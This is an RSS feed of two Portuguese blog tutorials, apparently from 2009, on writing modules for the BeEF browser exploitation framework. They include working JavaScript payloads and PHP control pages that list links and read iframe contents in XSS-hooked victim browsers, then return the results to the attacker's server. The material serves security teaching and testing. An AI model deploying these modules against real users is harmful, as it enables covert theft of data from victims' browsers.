<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Falando de Segurança &#187; módulo</title>
	<atom:link href="http://www.falandodeseguranca.com/tag/modulo/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.falandodeseguranca.com</link>
	<description>Por Gabriel Lima</description>
	<lastBuildDate>Mon, 05 Jul 2010 17:14:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>BeEF: Como programar Módulos (pt 2) &#8211; Módulo &#8220;Iframe Tools&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 05:25:30 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=249</guid>
		<description><![CDATA[Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento. Nossa tarefa será aumentar [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" />Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, <a href="http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/">corra para lá</a>, pois o conteúdo de hoje não passa de um complemento.</p>
<p>Nossa tarefa será <strong>aumentar a complexidade do módulo adicionando opções configuráveis. </strong> Sendo assim, ao contrário do módulo &#8220;URL Crawler&#8221;, onde bastava apertar o botão para explorar, teremos um formulário com opções que<strong> </strong>vão definir o que será processado pelo zumbie.</p>
<h3><span style="color: #ff6600;"># Módulo: &#8220;Iframe Tools&#8221;</span></h3>
<p><span style="color: #000000;"> </span>Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.</p>
<p>Nosso módulo terá duas funções:</p>
<ul>
<li>Listar todos os iframes disponíveis na página, retornando nome e ID.</li>
<li>Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.</li>
</ul>
<p>Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais <strong>fugindo dos padrões</strong>.</p>
<h3><span style="color: #ff6600;">1# Estrutura e o Arquivo de Nome<br />
</span></h3>
<p>Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de <strong>iframe_tools</strong> dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo <strong>name.txt</strong> contendo apenas <strong>Iframe Tools</strong> . Até aqui, nada muda .. mas só até aqui.</p>
<h3><span style="color: #ff6600;">2# O Payload (JavaScript)</span></h3>
<p>Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se <strong>template.js</strong>. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.</p>
<p>Teremos então:</p>
<ul>
<li><strong>template-lista.js :</strong> Lista e retorna os iframes na página</li>
<li><strong>template-le.js : </strong>Lê o conteúdo do iframe previamente especificado.</li>
</ul>
<p>O primeiro (template-lista.js) é semelhante ao &#8220;URL Crawler&#8221;. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:</p>
<pre name="code" class="js">
function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );
</pre>
<p>O código é muito simples: Verifica as tags &lt;iframe&gt; que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.</p>
<p>Falando em obter conteúdo, eis o simples  código que fará esta função. Ele ficará no arquivo<strong> template-le.js </strong> e, obviamente, <strong>requer uma informação que deve ser previamente definida</strong>: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra <strong>IFRAME-ID<br />
</strong></p>
<pre name="code" class="js">
return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);
</pre>
<p>Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. <strong>Nunca</strong> use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.</p>
<h3><span style="color: #ff6600;">3# A Página de controle do Módulo (index.php)</span></h3>
<p>Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.</p>
<p>Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.</p>
<p>Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.</p>
<p>No início do arquivo, criamos definições para &#8220;chamarmos&#8221; nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.</p>
<pre name="code" class="php">
&#x3C;&#x3F;
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
&#x3F;&#x3E;
</pre>
<p>Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave <strong>IFRAME-ID</strong> (que criamos em #2) pelo valor digitado no campo &#8220;idiframe&#8221; do form de nome &#8220;myform&#8221;. A função também define qual payload será enviado, verificando se o campo está ou não em branco.</p>
<pre name="code" class="js">
&lt;script&gt;

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '&lt;? echo get_b64_file(JS_FILE_LISTA); ?&gt;';
var b64codele = '&lt;? echo get_b64_file(JS_FILE_LE); ?&gt;';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

&lt;/script&gt;
</pre>
<p>Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.</p>
<pre name="code" class="html">
&lt;div id="module_header"&gt;Iframe Tools&lt;/div&gt;
Lista ou retorna o HTML de um Iframe.&lt;br&gt;&lt;br&gt;
&lt;div id="module_subsection"&gt;
&lt;form name="myform"&gt;
ID do Iframe: &lt;input type="text" name="idiframe" value=""/&gt; &lt;i&gt;(Em branco: Lista Iframes)&lt;/i&gt;
&lt;input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/&gt;
&lt;input type="button" value=" Send Now " onClick="javascript:send_now()"/&gt;
&lt;/form&gt;
&lt;/div&gt;
</pre>
<h3><span style="color: #ff6600;">4# Tudo pronto!</span></h3>
<p>Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:</p>
<p><strong>Sem especificar ID (lista Iframes):</strong></p>
<p><img class="aligncenter size-full wp-image-255" title="iframetools1" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools1.jpg" alt="iframetools1" width="655" height="179" /></p>
<p><strong>Ao especificar um ID (retorna conteúdo do Iframe):</strong></p>
<p><img class="aligncenter size-full wp-image-254" title="iframetools2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/iframetools2.jpg" alt="iframetools2" width="655" height="179" /></p>
<p>É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Até a próxima!</p>
<p><span style="color: #ff6600;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BeEF: O que é e Como programar Módulos (pt 1)</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 07:19:31 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=212</guid>
		<description><![CDATA[Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado. Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-o-que-e-e-como-programar-modulos-pt-1%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" /> <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>, é uma ferramenta que oferece controle em tempo real a &#8220;vítimas&#8221; (que se transformarão, na verdade, em &#8220;Zumbies&#8221;) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.</p>
<p>Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a  Port Scan em hosts remotos ou internos.</p>
<p>Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o <strong>Metasploit</strong>, através de XMLRPC. Exploits de navegadores, incluindo o utilitário &#8220;Browser Autopwn&#8221; que procura por versões vulneráveis de plugins e do próprio navegador da vítima,  podem ser iniciadas diretamente do BeEF, em poucos clicks.</p>
<p>Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em <a href="http://www.bindshell.net/tools/beef">http://www.bindshell.net/tools/beef</a> . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)<br />
<img class="aligncenter size-full wp-image-241" title="screenbeef2" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/screenbeef2.jpg" alt="screenbeef2" width="523" height="251" /></p>
<p>Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre <strong>Criação de Módulos para o BeEF:</strong><strong> </strong></p>
<h3><strong><span style="color: #ff6600;">1# Os bastidores do BeEF</span></strong></h3>
<p>Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, &#8220;informando&#8221; que a sessão continua ativa, ou seja, que o Zumbie esta disponível,  e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o <em>hacker</em> determinar.</p>
<h3><strong><strong><span style="color: #ff6600;">2# As Categorias dos Módulos<br />
</span></strong></strong></h3>
<p>Os módulos são organizados por categorias, são elas:</p>
<ul>
<li><strong>Standart Modules: </strong>Módulos de detecção de plugins e configurações de browser, além de comandos de javascript básicos como alerta, &#8220;deface&#8221; (reescrever o conteúdo da página), etc.</li>
<li><strong>Browser Modules: </strong>Módulos que exploram vulnerabilidades, como buffer overflow, em navegadores.</li>
<li><strong>Network Modules:</strong> Módulos de detecção,  exploração de falhas ou interação com serviços na rede.</li>
</ul>
<h3><strong><strong><strong><strong><span style="color: #ff6600;">3# Os arquivos e a organização de um Módulo</span></strong></strong></strong></strong></h3>
<p>Na pasta<strong> /modules/</strong> do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex:<strong> /modules/standart/alert_dialog</strong> para o módulo de alertas).</p>
<p>Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:</p>
<ul>
<li><strong>index.php:</strong> A página que será exibida dentro do BeEF para controle das ações do módulo.</li>
<li><strong>name.txt:</strong> Um simples arquivo de texto contendo o nome do módulo que será exibido no menu.</li>
<li><strong>template.js:</strong> O código JavaScript que será enviado ao Zumbie.</li>
</ul>
<h3><strong><strong><strong><strong><strong><strong><strong><strong><span style="color: #ff6600;">4# Mão na massa: Construindo nosso módulo.<br />
</span></strong></strong></strong></strong></strong></strong></strong></strong></h3>
<p>Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de <strong>URL CRAWLER</strong>.</p>
<h4><strong><span style="color: #ff6600;">4.1# Criando a Pasta </span></strong></h4>
<p>O classifiquei como &#8220;Standart&#8221;. Vamos, por tanto, criar a pasta <strong>/modules/standart/url_crawler/ </strong></p>
<h4><strong><span style="color: #ff6600;">4.2# Definindo o Nome </span></strong></h4>
<p>Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o <strong>name.txt</strong> .</p>
<p>Crie um arquivo de texto (txt) de nome <strong>name.txt</strong> contendo APENAS o nome do módulo, no caso, URL Crawler:</p>
<blockquote><p>URL Crawler</p></blockquote>
<h4><strong><span style="color: #ff6600;">4.2# Criando o Código JavaScript</span></strong></h4>
<p>Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:</p>
<pre name="code" class="js">
// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags &#x3C;&#x61;&#x3E; encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada &#x3C;&#x61;&#x3E; encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href &amp;&amp; (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);
</pre>
<p>O mais importante a ser notado no exemplo dado, é o uso do <strong>return_result(result_id, retorno);</strong>. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:</p>
<pre name="code" class="js">
alert("Teste!");
return_result(result_id, "Alerta executado!");
</pre>
<h4><strong><span style="color: #ff6600;">4.3# Criando o formulário de ativação</span></strong></h4>
<p>Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o <em>hacker</em> irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:</p>
<pre name="code" class="html">
<?
	// Copyright (c) 2006-2009, Wade Alcorn
	// All Rights Reserved
	// wade@bindshell.net - http://www.bindshell.net

	require_once("../../../include/common.inc.php"); // included for get_b64_file()
	DEFINE('JS_FILE', './template.js');
?>

<script>

	function get_b64_code_je() {
		// javascript is loaded from a file - it could be hard coded
		var b64code = '<? echo get_b64_file(JS_FILE); ?>';

		return b64code;
	}

	Element.Methods.set_autorun = function() {
               // Insira o nome do módulo no primeiro parâmetro do ar.enable:
		ar.enable('URL Crawler', get_b64_code_je());
	}

	Element.Methods.send_now = function() {
		do_send(get_b64_code_je());
	}

	// add construct code to DOM
	Element.addMethods();

</script>

<!-- Conteúdo do Formulário. Altere o nome e a descrição do módulo -->
<div id="module_header">URL Crawler</div>

Este modulo ira listar todas as URLs de links na pagina.
<div id="module_subsection">
<form name="myform">
<div id="module_subsection_header"></div>
<input class="button" type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input class="button" type="button" value=" Send Now " onClick="javascript:send_now()"/>
	</form>
</div>
</pre>
<h4><strong><span style="color: #ff6600;">4.4# Ação!</span></strong></h4>
<p>Feito tudo isso, é só ir ao <strong>/beef/ui</strong> em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.</p>
<p>Por hoje é só, mas mais tutoriais sobre BeEF virão. </p>
<p>Espero que tenham gostado.<br />
Fique de olho! <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Abraços!<br />
Gabriel</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
